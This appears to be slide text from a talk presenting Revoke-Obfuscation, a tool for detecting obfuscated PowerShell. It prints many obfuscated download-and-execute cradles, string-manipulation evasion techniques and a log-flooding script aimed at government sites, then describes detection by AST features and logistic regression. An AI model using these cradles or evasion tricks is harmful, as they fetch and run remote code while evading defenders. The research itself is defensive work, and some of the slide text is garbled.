- **Invoke-Expression** (& (`G`C`M *w-O*) "`N`e`T`.`W`e`B`C`l`i`e`N`T`)."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"( 'ht'+tps://bit.ly/L3g1t')

- What script block elements can we key off of for this?
  - **Invoke-Expression**

- What's potentially problematic about **Invoke-Expression**?
  1. Aliases: Invoke-Expression / IEX
  2. Order
  1. IEX "Write-Host IEX Example -ForegroundColor Green"
  2. "Write-Host IEX Example -ForegroundColor Green" | IEX
Obfuscating the Cradle

• **Invoke-Expression** (& (`G`C`M *w-O*) ""N'e'T.'W'e'B'C'l'i'e'N'T").""D'o'w'N'l'o'A'd'S'T'R'i'N'g"("ht'+'tps://bit.ly/L3g1t")

• What script block elements can we key off of for this?
  • **Invoke-Expression**

  • What's potentially problematic about **Invoke-Expression**?
    1. Aliases: Invoke-Expression / IEX
    2. Order
    3. Ticks
      1. `I`E`X
      2. `I`N'v'o`k'e`-`E`x`p`R'e`s's'i'o`N
Obfuscating the Cradle

- **Invoke-Expression** (& ('G`C`M *w-O*) "'N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"(
  'ht'+tps://bit.ly/L3g1t')

- What script block elements can we key off of for this?
  - **Invoke-Expression**

- What's potentially problematic about *Invoke-Expression*?
  1. Aliases: Invoke-Expression / IEX
  2. Order
  3. Ticks
  4. Invocation operators
    1. & ('I'+EX')
    2. . ('{1}{0}' -f 'EX','I')
Obfuscating the Cradle

• Invoke-Expression (& ('G' + 'M' + 'w -O*) "N'e'T'." W'e'Bl'e'N'T"
  Downloading (ht'+'tps://bit.ly/L3g1t')

• What script block elements can we key off of for this?

• Invoke-Expression

• What's potentially problematic about Invoke-Expression?
  1. Aliases: Invoke-Expression / IEX
  2. Order
  3. Ticks
  4. Invocation operators
    1. & ('I' + 'EX')
    2. . ('{1}{0}'  -f 'EX','t')

[3% of scripts in the wild use Invoke-Expression!!]
Obfuscating the Cradle

- **Invoke-Expression** (& (\`G\`C\`M *w-O*) "\`N\`e\`T.\`W\`e\`B\`C\`l\`i\`e\`N\`T")."\`D\`o\`w\`N\`l\`o\`A\`d\`S\`T\`R\`i\`N\`g"( 'ht'+tps://bit.ly/L3g1t')

- What script block elements can we key off of for this?
  - **Invoke-Expression**

- What's potentially problematic about **Invoke-Expression**?
  1. Aliases: Invoke-Expression / IEX
  2. Order
  3. Ticks
  4. Invocation operators
  5. Invoke-Expression vs **Invoke-Command**
Obfuscating the Cradle

<table>
<thead>
<tr>
<th>Cmdlet/Alias</th>
<th>Example</th>
</tr>
</thead>
<tbody>
<tr>
<td>Invoke-Command</td>
<td>Invoke-Command {Write-Host ICM Example -ForegroundColor Green}</td>
</tr>
<tr>
<td>ICM</td>
<td>ICM {Write-Host ICM Example -ForegroundColor Green}</td>
</tr>
<tr>
<td>.Invoke()</td>
<td>{Write-Host ICM Example -ForegroundColor Green}.Invoke()</td>
</tr>
<tr>
<td>&amp;</td>
<td>&amp; {Write-Host ICM Example -ForegroundColor Green}</td>
</tr>
<tr>
<td>.</td>
<td>. {Write-Host ICM Example -ForegroundColor Green}</td>
</tr>
</tbody>
</table>

- What's potentially problematic about "Invoke-Expression"???
  1. Aliases: Invoke-Expression / IEX
  2. Order
  3. Ticks
  4. Invocation operators
  5. Invoke-Expression vs **Invoke-Command**

.InvokeReturnAsIs()
.InvokeWithContext() ← PS3.0+
Obfuscating the Cradle

- **Invoke-Expression** (& (\`G\`C\`M *w-O*) "\`N\`e\`T`.\`W\`e\`B\`C\`l\`i\`e\`N\`T")."\`D\`o\`w\`N\`l\`o\`A\`d\`S\`T\`R\`i\`N\`g"( 'ht'+tps://bit.ly/L3g1t')

- What script block elements can we key off of for this?
  - **Invoke-Expression** | | IEX | | Invoke-Command | | ICM | | .Invoke() | | ... "&" or "." ?!?!?

  - So we add the Invoke-Command family to our arguments...
Obfuscating the Cradle

- *Invoke-Expression* (& (\`G\`C\`M *w-O*) "\`N\`e\`T\`.\`W\`e\`B\`C\`l\`i\`e\`N\`T")."\`D\`o\`w\`N\`l\`o\`A\`d\`S\`T\`R\`i\`N\`g"( 'ht'+tps://bit.ly/L3g1t')

- What script block elements can we key off of for this?
  - *Invoke-Expression* || IEX || *Invoke-Command* || ICM || .Invoke() || ... "&" or "." ?!?!??

  - So we add the *Invoke-Command* family to our arguments...
  - Don’t forget about PS 1.0!
    - $ExecutionContext.InvokeCommand.InvokeScript({Write-Host SCRIPTBLOCK})
    - $ExecutionContext.InvokeCommand.InvokeScript("Write-Host EXPRESSION")
Obfuscating the Cradle

- `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N (& (`G`C`M` *w-O*)
  "N`e`T`.W`e`B`C`l`i`e`N`T")."D`o`w`N`l`o`A`D`S`T`R`i`N`g"( 'ht'+tps://bit.ly/L3g1t')

- What script block elements can we key off of for this?
  - `I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N || `I`E`X` || `I`N`V`o`k`e`-`C`o`m`m`A`N`d || `I`C`M` ||
    "I`N`V`o`k`e"( ) || ... "&" or "." !?!?

- So we add the Invoke-Command family to our arguments...
- And add in ticks...
Obfuscating the Cradle

• `INVoke-ExpRession ( & (`GCM *w-O*)
  "N'e'T.'W'e'B'C'l'i'e'N'T")."D'o\'w\'N\'l'o\'A\'d'S'T\'R\'i\'N\'g"( 'ht'+tps://bit.ly/L3g1t')

• What script block elements can we key off of for this?
  • `INVvoke-ExpRession || `IEX || `INVoke-Command || `ICM ||
    "INVoke(" || ..."&" or "." ?!?!?

• Can we reduce FPs by only triggering on ";" or "." when ";" and ")" are present?
• \`I\`N\`V\`o\`k\`e\`-\`E\`x\`p\`R\`e\`s\`s\`i\`o\`N \((\& \(\`G\`C\`M \*w\-O\*)
  "\`N\`e\`T\`.\`W\`e\`B\`C\`l\`i\`e\`N\`T\")\)."\`D\`o\`w\`N\`l\`o\`A\`d\`S\`T\`R\`i\`N\`g"( 'ht\'+'tps://bit.ly/L3g1t')

• What script block elements can we key off of for this?
  • \`I\`N\`V\`o\`k\`e\`-\`E\`x\`p\`R\`e\`s\`s\`i\`o\`N \| \| \`I\`E\`X \| \| \`I\`N\`V\`o\`k\`e\`-\`C\`o\`m\`m\`A\`N\`d \| \| \`I\`C\`M \| \|
    . "\`I\`N\`V\`o\`k\`e"( ) \| \| "&" or "." ?!?!?

• Can we reduce FPs by only triggering on ",&" or ",." when ",{" and ",}" are present?
  • Of course not, because we can convert strings to script blocks!
Obfuscating the Cradle

• `I`N`v`o`k`e`-`E`x`p`r`e`s`s`i`o`n ( & (`G`C`M` *w-O*)
  "N`e`T`.`W`e`B`C`l`i`e`N`T")."D`o`w`N`t`R`i`N`g" ( 'ht'+tps://bit.ly/L3g1t')

.Net and PS 1.0 Syntax for Script Block Conversion

1. [Scriptblock]::Create("Write-Host Script Block Conversion")
2. $ExecutionContext.InvokeCommand.NewScriptBlock("Write-Host Script Block Conversion")

• Can we reduce FPs by only triggering on "&" or "." when "{" and "}" are present?
• Of course not, because we can convert strings to script blocks!
Obfuscating the Cradle

- `I\'N\'V\'o\'k\'e\'E\'x\'p\'R\'e\'s\'s\'i\'o\'N\ (& (\^G\^C\^M \*w-O*)
  "N\'e\'T\'. W\'e\'B\'C\'l\'i\'e\'N\'T"). "D\'o\'w\'N\'l\'o\'A\'d\'S\'T\'R\'i\'N\'g\'( 'ht'+tps://bit.ly/L3g1t')

.Net and PS 1.0 Syntax for Script Block Conversion...and we can obfuscate those too!
1. ([Type]("Scr"+"ipt"+"block"):("C\'R\'e"+"A\'T\'e").Invoke("ex"+"pres"+"sion")
2. $a = ${\"E\'x\'e\'c\'u\'T\'i\'o\'N\'C\'o\'N\'T\'e\'x\'T\}; $b = $a."I\'N\'V\'o\'k\'e\'C\'o\'m\'m\'A\'N\'d";
   $b."N\'e\'w\'S\'c\'R\'i\'p\'T\'B\'l\'o\'c\'k"("ex"+"pres"+"sion")

- Can we reduce FPs by only triggering on "&" or "." when "{" and "}" are present?
- Of course not, because we can convert strings to script blocks!
Obfuscating the Cradle

- `Invoke-Expression (& (\G\M *w-O*) "N'e'T'.W'e'B'C\i'e'N'T")."D'o\w'N\l'o\A\d\S\T\R\N\g" ('ht'+tps://bit.ly/L3g1t')

.Net and PS 1.0 Syntax for Script Block Conversion...and we can obfuscate those too!
And **Invoke-CradleCrafter** has even more invocation options (and obfuscation techniques)!

```
Choose one of the below Memory\PsWebString\Invoke options to APPLY to current cradle:

[*] MEMORY\PSWEBSTRING\INVOC\1  No Invoke       --> For testing download sans IEX
[*] MEMORY\PSWEBSTRING\INVOC\2  PS IEX          --> IEX/Invoke-Expression
[*] MEMORY\PSWEBSTRING\INVOC\3  PS Get-Alias    --> Get-Alias/GAL
[*] MEMORY\PSWEBSTRING\INVOC\4  PS Get-Command  --> Get-Command/GCM
[*] MEMORY\PSWEBSTRING\INVOC\5  PS1.0 GetCmdlet --> $ExecutionContext...
[*] MEMORY\PSWEBSTRING\INVOC\6  PS1.0 Invoke   --> $ExecutionContext...
[*] MEMORY\PSWEBSTRING\INVOC\7  ScriptBlock+ICM ---> ICM/Invoke-Command/.Invoke()
[*] MEMORY\PSWEBSTRING\INVOC\8  PS Runspace     --> [PowerShell].:Create() (StdOut)
[*] MEMORY\PSWEBSTRING\INVOC\9  Concatenate IEX --> .($env:ComSpec[4,15,25]-Join '')
[*] MEMORY\PSWEBSTRING\INVOC\10 Invoke-AsWorkflow --> Invoke-AsWorkflow (PS3.0+)
```

Invoke-CradleCrafter\Memory\PsWebString\Invoke>
More Obfuscation Techniques

- Additional command line obfuscation techniques via string manipulation
  - **Reverse string:**
    
    ```
    $reverseCmd = ")'t1g3L/yl.tib://spth'(gnirtSdaolNwoD.)tneilCbeW.teN tcejbO-weN(";
    ```
    1. Traverse the string in reverse and join it back together
       ```
       IEX ($reverseCmd[-1..-($reverseCmd.Length)] -Join ")") | IEX
       ```
    2. Cast string to char array and use .Net function to reverse and then join it back together
       ```
       $reverseCmdCharArray = $reverseCmd.ToCharArray(); [Array]::Reverse($reverseCmdCharArray); IEX ($reverseCmdCharArray -Join ")") | IEX
       ```
    3. .Net Regex the string RightToLeft and then join it back together
       ```
       IEX (-Join[RegEx]::Matches($reverseCmd,",",'RightToLeft')) | IEX
       ```
More Obfuscation Techniques

• Additional command line obfuscation techniques via string manipulation
  • Reverse string:
  • Split string:

    1. Split the string on the delimiter and join it back together
    IEX ($cmdWithDelim.Split("~~") -Join ") | IEX

```powershell
```
More Obfuscation Techniques

• Additional command line obfuscation techniques via string manipulation
  • Reverse string:
  • Split string:
  • Replace string:
    $cmdWithDelim = "(New-Object Net.We~~bClient).Downlo~~adString('https://bi~~t.ly/L3g1t')";
    1. PowerShell's .Replace
       IEX $cmdWithDelim.Replace("~~","") | IEX
    2. .Net's -Replace (and -CReplace which is case-sensitive replace)
       IEX ($cmdWithDelim -Replace "~~","") | IEX
    3. PowerShell's -f format operator
       IEX ('{{0}w-Object {0}t.WebClient}.{{1}String('{{2}bit.ly/L3g1t}') -f 'Ne', 'Download','https://'}') | IEX
More Obfuscation Techniques

• Additional command line obfuscation techniques via string manipulation
  • Reverse string:
  • Split string:
  • Replace string:
  • Concatenate string:

1. PowerShell’s -Join (w/o delimiter)
   IEX ($c1,$c2,$c3 -Join '') | IEX
2. PowerShell’s -Join (with delimiter)
   IEX ($c1,$c3 -Join $c2) | IEX
3. .Net’s Join
   IEX ([string]::Join($c2,$c1,$c3)) | IEX
4. .Net’s Concat
   IEX ([string]::Concat($c1,$c2,$c3)) | IEX
5. + operator / concat without + operator
   IEX ($c1+$c2+$c3) | IEX / IEX "$c1$c2$c3" | IEX
More Obfuscation Techniques

• Automated Obfuscation via **Invoke-Obfuscation**?
  • IEX (New-Object Net.WebClient)
    .DownloadString('http://bit.ly/L3g1t')
More Obfuscation Techniques

• Automated Obfuscation via 
  **Invoke-Obfuscation**?

  • IEX (New-Object Net.WebClient).
    DownloadString('http://bit.ly/L3g1t')

  .('{1}{0}' -f 'X','IE')
  &('{3}{2}{1}{0}'-f'ct','-
    Obje','w','Ne')
  ('{0}{2}{1}'-f
    'N','nt','et.WebClie')).('{2}{0}{1}{3}'-
    f'dSt','rin','Download','g').Invoke('{5}{0}{3}{4}
    {1}{2}'-f'tp:','3','g1t','/','bit.ly/L','ht')
More Obfuscation Techniques

- Automated Obfuscation via **Invoke-Obfuscation**?
  - (("[14]{11}{7}{46}{5}{30}{22}{24}{68}{78}{0}{59}{67}{31}{38}{55}{16}{69}{51}{17}{23}{8}{35}{6}{71}{34}{50}{64}{60}{58}{47}{10}{48}{65}{37}{40}{21}{56}{43}{53}{52}{9}{12}{74}{26}{36}{2}{15}{70}{61}{75}{66}{49}{29}{77}{42}{32}{1}{4}{33}{54}{76}{13}{73}{45}{18}{19}{28}{62}{20}{41}{27}{44}{3}{25}{72}{57}{63}{39}{79}" -f
  '(&', '{2}', 'A','j6T,j6','PA','6T','6T'), 'f','w','entj6T'), 'ebj6','AM-'),).(PA,' j6T.Ij6','.(PAM{1}{0}P','M-fj6T','jectj6T,j','6T',',3',','j','tj6T','6','j6T','j6TNe','j6TIE','Th',}{1}{0},'6','6',rinn6T,j6TDownload6',X','1}{0}',}{0}{1}','M','1}{0
  },{1}','P','TNe','PA','itj6','j','j','}{5}',','j','T',,'6Ty/L',,'t',,{',','-Oj',' Cli','T','-','M-fj6Tb','T','/j','/-f
  j','(PA','M','j6','T,j6Tg1','6T,j6Tb','2)PA','j6','oadS','M{2}{1}',','j','6T',,'g',
  (PAM{,'ttp:',',T','j','M{2}{1},j6Tl','f',',T}.Invoke((PAM{4}{3}',6T)
  ',T')))}.replace([[Char]80+[Char]65+[Char]77],[strIn][[Char]34].replace(j6T,[strIn][[Char]39]) )
More Obfuscation Techniques

- Automated Obfuscation via **Invoke-CradleCrafter**?
More Obfuscation Techniques

• Automated Obfuscation via **Invoke-CradleCrafter**?
  

```powershell
```

**Invoke-CradleCrafter**

Tool :: Invoke-CradleCrafter  
Author :: Daniel Bohannon (DB0)  
Twitter :: @danielbohannon  
Blog :: http://danielbohannon.com
More Obfuscation Techniques

@mutaguchi came up with this concept in 2010!
More Obfuscation Techniques

• Automated Obfuscation via Invoke-Obfuscation

DownloadString('http://bit.ly/L3g1t')

mutaguchi came up with this concept in 2010!
More Obfuscation Techniques

• NEW Automated Obfuscation via 
  **Invoke-Obfuscation**?

```powershell
' | % {$_ -Split '' | % {' ; $_.Split('') | % {$_.Length -1}} ; $DecodedCommand = [Char][][Int][]($Script[0..($Script.Length-1)] -Join '').Trim('').Split(' ') -Join ''; IEX $DecodedCommand}
```
STAND BACK

I'M GOING TO TRY
SCIENCE
THIS ISN’T NORMAL!
The Token-based obfuscation that relies on the Format operator

```powershell
PS > Measure-CharacterFrequency C:\temp\tokenall.psl | Select -First 10

<table>
<thead>
<tr>
<th>Name</th>
<th>Percent</th>
</tr>
</thead>
<tbody>
<tr>
<td>'</td>
<td>20.175</td>
</tr>
<tr>
<td>{</td>
<td>7.456</td>
</tr>
<tr>
<td>}</td>
<td>7.456</td>
</tr>
<tr>
<td>,</td>
<td>5.702</td>
</tr>
<tr>
<td>E</td>
<td>3.947</td>
</tr>
<tr>
<td>T</td>
<td>3.509</td>
</tr>
<tr>
<td>N</td>
<td>3.509</td>
</tr>
<tr>
<td>&quot;</td>
<td>3.509</td>
</tr>
<tr>
<td>(</td>
<td>3.07</td>
</tr>
<tr>
<td>)</td>
<td>3.07</td>
</tr>
</tbody>
</table>
```

The one that relies on Invoke-Expression

```powershell
PS > Measure-CharacterFrequency C:\temp\symbolic.psl | Select -First 10

<table>
<thead>
<tr>
<th>Name</th>
<th>Percent</th>
</tr>
</thead>
<tbody>
<tr>
<td>$</td>
<td>21.808</td>
</tr>
<tr>
<td>{</td>
<td>21.659</td>
</tr>
<tr>
<td>)</td>
<td>21.659</td>
</tr>
<tr>
<td>+</td>
<td>13.313</td>
</tr>
<tr>
<td>&quot;</td>
<td>7.452</td>
</tr>
<tr>
<td>=</td>
<td>2.832</td>
</tr>
<tr>
<td>[</td>
<td>2.086</td>
</tr>
<tr>
<td>(</td>
<td>1.689</td>
</tr>
<tr>
<td>;</td>
<td>1.54</td>
</tr>
<tr>
<td>)</td>
<td>1.341</td>
</tr>
</tbody>
</table>
```
COSINE SIMILARITY

\[
\text{similarity} = \cos(\theta) = \frac{A \cdot B}{\|A\| \|B\|} = \frac{\sum_{i=1}^{n} A_i B_i}{\sqrt{\sum_{i=1}^{n} A_i^2} \sqrt{\sum_{i=1}^{n} B_i^2}}
\]
```
PS > md c:\temp\randomscripts
PS > dir | Get-Random -Count 20 | Copy-Item -Destination C:\temp\randomscripts
PS > copy C:\temp\symbolic.ps1 C:\temp\randomscripts
PS > copy C:\temp\tokenall.ps1 C:\temp\randomscripts
PS > dir C:\temp\randomscripts\ | % {
    >>> $scriptFrequency = $_. | Measure-CharacterFrequency.ps1
    >>> $sim = Measure-VectorSimilarity $globalFrequency $scriptFrequency
    >>> -KeyProperty Name -ValueProperty Percent
    >>> [PSCustomObject] @{ Name = $_.Name; Similarity = $sim }
    >>> }

<table>
<thead>
<tr>
<th>Name</th>
<th>Similarity</th>
</tr>
</thead>
<tbody>
<tr>
<td>43a28a1b-5023-4feb-a71f-abe95aa0f2a6.ps1</td>
<td>0.957</td>
</tr>
<tr>
<td>Export-PSCredential_4.ps1</td>
<td>0.979</td>
</tr>
<tr>
<td>Get-BogonList_1.ps1</td>
<td>0.925</td>
</tr>
<tr>
<td>Get-Netstat_1.9.ps1</td>
<td>0.89</td>
</tr>
<tr>
<td>Get-Parameter_8.ps1</td>
<td>0.959</td>
</tr>
<tr>
<td>group-byobject_4.ps1</td>
<td>0.939</td>
</tr>
<tr>
<td>IADsDNWithBinary_Cmdlet_1.ps1</td>
<td>0.924</td>
</tr>
<tr>
<td>Import-ExcelToSQL_2.ps1</td>
<td>0.961</td>
</tr>
<tr>
<td>Invoke-Sql_2.ps1</td>
<td>0.979</td>
</tr>
<tr>
<td>List AddRemovePrograms.ps1</td>
<td>0.961</td>
</tr>
<tr>
<td>Lock-WorkStation.ps1</td>
<td>0.905</td>
</tr>
<tr>
<td>Monitor-FileSize_1.ps1</td>
<td>0.974</td>
</tr>
<tr>
<td>symbolic.ps1</td>
<td>0.157</td>
</tr>
<tr>
<td>Reverse filename sequenc.ps1</td>
<td>0.874</td>
</tr>
<tr>
<td>scriptable telnet client_2.ps1</td>
<td>0.967</td>
</tr>
<tr>
<td>Set Active Sync DeviceID.ps1</td>
<td>0.955</td>
</tr>
<tr>
<td>SharePoint Large Lists_1.ps1</td>
<td>0.944</td>
</tr>
<tr>
<td>Show-Sample_1.ps1</td>
<td>0.919</td>
</tr>
<tr>
<td>Start-Verify.ps1</td>
<td>0.923</td>
</tr>
<tr>
<td>tokenall.ps1</td>
<td>0.379</td>
</tr>
</tbody>
</table>
```
We need more data!

So we ran a little contest...

PowerShell Team Blog

Announcing the Underhanded PowerShell Contest

March 7, 2016 by PowerShell Team / 0 Comments

In an effort to improve the validation capability of PowerShell Script Analyzer, we are running a series of contests. We want you – the community members – to help us identify underhanded PowerShell scripts, and then create rules to catch them. There are specific areas where Script Analyzer rules are needed and we need your skills to help us hone them.

What is underhanded PowerShell code?

Basically, code that is designed to do something the user would not intend, or takes actions that are not apparent to someone who would casually read the code.

For example, an underhanded approach to running `"System.Runtime.InteropServices.Marshal"::SystemDefaultCharSize` might be:

```powershell
$property = "SystemDef" + "aultcharsSize"
$type::$property
```

We’ll be running this contest in two phases: “Red Team”, and “Blue Team”. In the “Red Team” phase, you get to unleash your underhanded creativity in writing underhanded PowerShell code. In an upcoming “Blue team” phase, we’ll be looking for creative and reliable defenses to detect underhanded PowerShell. Participation in both contests will be allowed – and in fact encouraged!

For more details and participation instructions, come visit us on the Contest Page!
We need more data!

and created a huge PowerShell corpus ...
> **We need more data!**

*Politely of course ...*

Underhanded PowerShell
GitHub
GitHub Gists
PoshCode
PowerShell Gallery
TechNet
Invoke-Obfuscation
Invoke-CradleCrafter
ISE Steroids Obfuscation
<table>
<thead>
<tr>
<th>Username</th>
<th>First Name</th>
<th>Last Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>jtucker</td>
<td>Jeffrey</td>
<td>Tucker</td>
</tr>
<tr>
<td>jtuffin</td>
<td>Keith</td>
<td>Larsen</td>
</tr>
<tr>
<td>jturco</td>
<td>Kosta</td>
<td>Kanev</td>
</tr>
<tr>
<td>jtuttas</td>
<td>Keith</td>
<td>Tobin</td>
</tr>
<tr>
<td>jtw</td>
<td>Keiyan</td>
<td></td>
</tr>
<tr>
<td>jtyler80</td>
<td>Keizer</td>
<td>619</td>
</tr>
<tr>
<td>jtylers</td>
<td></td>
<td></td>
</tr>
<tr>
<td>jtyrrell</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

> But first, a word of thanks
Guess What We Found?
#!/\/
# Script Name: Remove-Games.ps1
# Title: Remove Games
# Version: 1.0
# Author: John W. Cannon <johnw.cannon at gmail dot com>
# Date: September 20, 2011
# Description: This tool removes the built-in games from windows XP (tested on SP3)
# /

#Obtain processes and kill any running games
$ps = Get-Process #Get a list of running processes
$ps | Where-Object {$_ -processName -eq 'freecell'} | Stop-Process -name freecell -force
$ps | Where-Object {$_ -processName -eq 'zclientm'} | Stop-Process -name zclientm -force
$ps | Where-Object {$_ -processName -eq 'mshearts'} | Stop-Process -name mshearts -force
$ps | Where-Object {$_ -processName -eq 'bkgzm'} | Stop-Process -name bkgzm -force
$ps | Where-Object {$_ -processName -eq 'chkzm'} | Stop-Process -name chkzm -force

#Remove the Games folder from the All Users profile because it isn't deleted by sysocmgr
Remove-Item 'c:\Documents and Settings\All Users\Start Menu\Programs\Games' -Force -WarningAction SilentlyContinue -Recurse
```csharp
using System.Net;

while(true)
{
    try{
        (new Object (new WebClient()).DownloadString("http://www.house.gov/downWithSOPA") | Out-Null);
    } catch(){
        (new Object (new WebClient()).DownloadString("http://www.senate.gov/downWithE-Parasite")
    } catch{
        sleep 1;
    }
}
```

**Synopsis**
Let's fill the logs of the US House and Senate servers with the message we don't want SOPA or E-Parasite!

**Description**
Runs an while(1) loop that grabs a couple URI's from each branch's website and sleeps for 1 second between requests.

# twitter tags
# occupyUSSenate
# occupyUSHouse
# sopar
# eparasite

**Image**
![Image of a pirate](https://s-media-cache-ak0.pinimg.com/originals/d8/50/58/d850584c02689c9f4d4a092028ed6a59.jpg)

**SOPA – Stop Online Piracy Act**
> We need more data!

Some statistics ...

Underhanded PowerShell
GitHub
GitHub Gists
PoshCode
PowerShell Gallery
TechNet
Invoke-Obfuscation
Invoke-CradleCrafter
ISE Steroids Obfuscation

408,665 Scripts
28,748 Authors

Manually labeled ~7,000 scripts
Found ~1600 obfuscated scripts

Obfuscated ~4000 scripts with existing frameworks
Effectiveness

We will run this experiment with various vector similarity requirements, and compare false positive/negative rates at each of these requirements. The following chart helps to visualize the data (X-axis is similarity requirement, Y-axis is false positive/negative percentage):

https://cobbr.io/ObfuscationDetection.html
<table>
<thead>
<tr>
<th>Measure</th>
<th>Score</th>
</tr>
</thead>
<tbody>
<tr>
<td>Accuracy</td>
<td>0.71</td>
</tr>
<tr>
<td>Precision</td>
<td>0.89</td>
</tr>
<tr>
<td>Recall</td>
<td>0.37</td>
</tr>
<tr>
<td>F1 Score</td>
<td>0.52</td>
</tr>
<tr>
<td>True Positives</td>
<td>0.16</td>
</tr>
<tr>
<td>False Positives</td>
<td>0.02</td>
</tr>
<tr>
<td>True Negatives</td>
<td>0.55</td>
</tr>
<tr>
<td>False Negatives</td>
<td>0.27</td>
</tr>
</tbody>
</table>

https://en.wikipedia.org/wiki/Precision_and_recall
Surely we can do better!
Yes!

Get-Command -Name ("\{1\}\{0\}" -f "-Process", "Get")
Yes!!

Get-Command -Name ("\{1\}\{0\}" -f "-Process", "Get")
The Mighty PowerShell AST

https://github.com/lzybkr/ShowPSAst
> **Identifying Obfuscation**

Using context to detect obfuscation techniques

- Distribution of AST types
- Distribution of language operators
  - Assignment, binary, invocation, ...
- Array sizes
- Statistics within each AST type
  - Character frequency, entropy, length (max, min, median, mode, range), whitespace density, character casing, ...
- Statistics of command names, .NET methods, variables...

This gives us **4098 features** to thumbprint a script
> 4098 Features!
Calculating Obfuscation

What do we do with all these features?

- Result = Bias + (F1 * Weight1) + (F2 * Weight2) + (...)
- If(Result > Limit) { Obfuscated = True }
Logistic Regression

https://en.wikipedia.org/wiki/Logistic_regression
Calculating Obfuscation

What do we do with all these features?

- Result = Bias + (F1 * Weight1) + (F2 * Weight2) + (...)
- If(Result > Limit) { Obfuscated = True }

\[ F(x) = \frac{1}{1 + e^{-(\beta_0 + \beta_1 x)}} \]
Calculating Weights

If at first you don’t succeed...

- Result = Bias + (F1 * Weight1) + (F2 * Weight2) + (…)
- ExpectedResult = (From labeled data)
- Error = Result - ExpectedResult

- Adjust each weight according to how much they contributed to the error. Do this a lot.

### Logistic Regression with Gradient Descent

<table>
<thead>
<tr>
<th>Measure</th>
<th>Cosine Similarity</th>
<th>Logistic Regression with Gradient Descent</th>
</tr>
</thead>
<tbody>
<tr>
<td>Accuracy</td>
<td>0.71</td>
<td>0.96</td>
</tr>
<tr>
<td>Precision</td>
<td>0.89</td>
<td>0.96</td>
</tr>
<tr>
<td>Recall</td>
<td>0.37</td>
<td>0.95</td>
</tr>
<tr>
<td>F1 Score</td>
<td>0.52</td>
<td>0.96</td>
</tr>
<tr>
<td>True Positives</td>
<td>0.16</td>
<td>0.41</td>
</tr>
<tr>
<td>False Positives</td>
<td>0.02</td>
<td>0.01</td>
</tr>
<tr>
<td>True Negatives</td>
<td>0.55</td>
<td>0.55</td>
</tr>
<tr>
<td>False Negatives</td>
<td>0.27</td>
<td>0.02</td>
</tr>
</tbody>
</table>

For more information, visit [https://en.wikipedia.org/wiki/Precision_and_recall](https://en.wikipedia.org/wiki/Precision_and_recall)

![Diagram showing relevant and selected elements](image.png)
<table>
<thead>
<tr>
<th>Measure</th>
<th>Cosine Similarity</th>
<th>Logistic Regression with Gradient Descent</th>
</tr>
</thead>
<tbody>
<tr>
<td>Accuracy</td>
<td>0.71</td>
<td>0.96</td>
</tr>
<tr>
<td>Precision</td>
<td>0.89</td>
<td>0.96</td>
</tr>
<tr>
<td>Recall</td>
<td>0.37</td>
<td>0.95</td>
</tr>
<tr>
<td>F1 Score</td>
<td>0.52</td>
<td>0.96</td>
</tr>
<tr>
<td>True Positives</td>
<td>0.16</td>
<td>0.41</td>
</tr>
<tr>
<td>False Positives</td>
<td>0.02</td>
<td>0.01</td>
</tr>
<tr>
<td>True Negatives</td>
<td>0.55</td>
<td>0.55</td>
</tr>
<tr>
<td>False Negatives</td>
<td>0.27</td>
<td>0.02</td>
</tr>
</tbody>
</table>

10x better at finding obfuscated content
Half the false positives

https://en.wikipedia.org/wiki/Precision_and_recall
> What about Sketchy stuff?

Hunting and Deep Investigations
<table>
<thead>
<tr>
<th>Measure</th>
<th>Cosine Similarity</th>
<th>Obfuscated</th>
<th>Sketchy</th>
</tr>
</thead>
<tbody>
<tr>
<td>Accuracy</td>
<td>0.71</td>
<td>0.96</td>
<td>0.88</td>
</tr>
<tr>
<td>Precision</td>
<td>0.89</td>
<td>0.96</td>
<td>0.86</td>
</tr>
<tr>
<td>Recall</td>
<td>0.37</td>
<td>0.95</td>
<td>0.89</td>
</tr>
<tr>
<td>F1 Score</td>
<td>0.52</td>
<td>0.96</td>
<td>0.88</td>
</tr>
<tr>
<td>True Positives</td>
<td>0.16</td>
<td>0.41</td>
<td>0.43</td>
</tr>
<tr>
<td>False Positives</td>
<td>0.02</td>
<td>0.01</td>
<td>0.07</td>
</tr>
<tr>
<td>True Negatives</td>
<td>0.55</td>
<td>0.55</td>
<td>0.43</td>
</tr>
<tr>
<td>False Negatives</td>
<td>0.27</td>
<td>0.02</td>
<td>0.05</td>
</tr>
</tbody>
</table>

For more information, visit [https://en.wikipedia.org/wiki/Precision_and_recall](https://en.wikipedia.org/wiki/Precision_and_recall)
> What about other algorithms?

Beyond Logistic Regression & Gradient Descent
Demo Time!

Revoke-Obfuscation

Tool :: Revoke-Obfuscation
Author :: Daniel Bohannon (DBO) & Lee Holmes
Twitter :: @danielbohannon & @Lee_Holmes
Github :: https://github.com/danielbohannon/Revoke-Obfuscation
Version :: 1.0
License :: Apache License, Version 2.0
Notes :: if (-not $caffeinated) { exit }

**MENU** :: Available options shown below:

- **TUTORIAL**
  Tutorial for those who are anti-README
- **FUNFACTS**
  Fun Facts about Revoke-Obfuscation
- **ASCII**
  Random ASCII Art hand-picked from the corpus
- **QUOTES**
  Set of Fun Quotes
- **CREDITS**
  Credits for those involved in this research

Revoke-Obfuscation>
Want to operationalize?
We’ve built in a few whitelisting options...

**WHITELISTING** :: Finally, there are three whitelisting options built into the framework in two different locations:

1) On Disk (automatically applied if present):
   A) `.\Whitelist\Scripts_To_Whitelist` -- Scripts in this directory are whitelisted by hash.
   B) `.\Whitelist\Strings_To_Whitelist.txt` -- Scripts containing ANY string in this file are whitelisted.
   C) `.\Whitelist\Regex_To_Whitelist.txt` -- Scripts containing ANY regex in this file are whitelisted.

2) Arguments for Measure-RvoObfuscation (applied in addition to above whitelisting options):
   A) `-WhitelistFile .\files\*.ps1,.\more_files\*.ps1,.\one_more_file.ps1`
   B) `-WhitelistContent 'string 1 to whitelist','string 2 to whitelist'`
   C) `-WhitelistRegex 'regex 1 to whitelist','regex 2 to whitelist'`
> Thank you!

# Release
https://github.com/danielbohannon/Revoke-Obfuscation

# References
- https://github.com/danielbohannon/Invoke-Obfuscation
- https://www.leeholmes.com/blog/2016/10/22/more-detecting-obfuscated-powershell/


